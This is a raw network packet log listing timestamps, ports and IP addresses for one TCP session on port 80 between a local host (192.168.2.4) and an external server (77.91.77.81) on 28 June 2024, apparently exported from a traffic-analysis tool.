Jun 28, 2024 22:32:13.697355986 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.697377920 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.697377920 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.697412014 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.697441101 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.697529078 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.697537899 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.697552919 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.697554111 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.697566032 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.697575092 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.697578907 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.697581053 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.697588921 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.697592020 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.697617054 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.697660923 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.697721004 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.697729111 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.697983027 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.698052883 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.698065042 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.698080063 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.698122025 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.698148966 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.698158979 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.698168993 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.698190928 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.698220015 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.698230028 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.698247910 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.698287010 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.701997995 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702053070 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702063084 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702076912 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.702100039 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702102900 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.702183962 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702194929 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702205896 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702208996 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.702215910 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702234983 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.702281952 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.702445984 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702455997 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702466965 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702491999 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.702564955 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702574968 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702584028 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702591896 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.702595949 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702605009 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.702608109 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702617884 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702635050 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.702653885 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.702653885 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.702661037 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702671051 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702681065 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702707052 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.702811956 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702822924 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702833891 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702837944 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.702845097 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702858925 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.702872992 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702883959 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702894926 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702898026 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.702912092 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702923059 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.702935934 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.702955008 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702964067 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.702980995 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.703032970 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.703047037 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.703061104 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.703090906 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.703090906 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.703177929 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.703205109 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.703274012 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.703284025 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.703294039 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.703296900 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.703337908 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.703346968 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.703361034 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.703383923 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.703466892 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.703475952 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.703556061 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.703566074 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.703582048 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.703613997 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.703613997 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.703646898 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.703658104 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.703670979 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.703681946 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.703694105 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.703701973 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.703716993 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.704154015 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.704195023 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.704205990 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.704248905 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.704248905 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.704344988 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.704355955 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.704365969 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.704376936 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.704386950 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.704391003 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.704412937 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.704485893 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.704499960 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.704507113 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.704510927 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.704523087 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.704533100 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.704535007 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.704540968 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.704544067 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.704571009 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.704782963 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.761671066 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.761681080 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.761693954 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.761744976 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.761755943 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.761766911 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.761779070 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.761780024 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.761806011 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.762566090 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.762592077 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.762615919 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.762631893 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.762698889 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.762708902 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.762720108 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.762725115 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.762737989 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.762903929 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.762913942 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.762923956 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.762931108 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.762936115 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.762953043 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.762964010 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.762965918 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.762965918 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.762976885 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.762985945 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.762996912 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.763005972 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.763005972 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.763015985 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.763243914 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.763256073 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.763269901 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.763298988 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.763298988 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.763432026 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.763442993 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.763453007 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.763463020 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.763473988 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.763479948 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.763480902 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.763484955 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.763497114 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.763501883 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.763501883 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.763509035 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.763520002 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.763521910 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.763542891 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.764195919 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.797425032 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.797441959 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.797451973 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.797460079 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.797470093 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.797480106 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.797489882 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.797504902 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.797560930 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.797590017 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.797672033 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.797682047 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.797693014 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.797700882 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.797704935 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.797717094 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.797724962 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.797729015 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.797746897 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.797815084 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.797919989 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.797929049 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.797939062 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.797950029 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.797960043 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.797966003 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.797979116 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.797993898 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798001051 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.798001051 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.798006058 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798022985 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.798022985 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.798198938 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798209906 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798216105 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.798222065 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798239946 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798249960 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.798249960 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.798250914 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798263073 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798264980 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.798264980 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.798274994 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798285961 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798289061 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.798311949 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.798520088 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798532009 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798541069 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798547983 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.798564911 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.798630953 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.798656940 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798667908 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798687935 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798705101 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798713923 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798717022 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.798717022 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.798723936 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798734903 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798738956 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.798744917 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798755884 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798758984 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.798767090 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798775911 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.798779964 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798784018 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.798793077 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.798819065 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.799107075 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799118042 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799127102 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799133062 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.799139023 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799149036 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.799185038 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.799185038 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.799221039 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799232960 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799242020 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799252033 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799262047 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799269915 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.799269915 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.799273968 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799284935 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.799288034 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799298048 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.799300909 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799312115 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799328089 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.799328089 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.799643993 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799655914 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799670935 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.799683094 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.799807072 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799818993 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799829006 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799834013 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.799841881 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799851894 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799853086 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.799863100 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799873114 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799877882 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.799885988 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799900055 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799902916 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.799911976 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799917936 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.799917936 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.799923897 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.799947977 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.799947977 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.800220966 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.800282955 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.800292969 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.800303936 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.800343990 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.800354958 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.800357103 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.800367117 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.800376892 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.802041054 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.888690948 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.888722897 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.888732910 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.888876915 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.888892889 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.888909101 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.888909101 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.888921976 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.888964891 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.889097929 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.889108896 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.889118910 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.889121056 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.889128923 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.889144897 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.889149904 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.889153957 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.889169931 CEST	49732	80	192.168.2.4	77.91.77.81
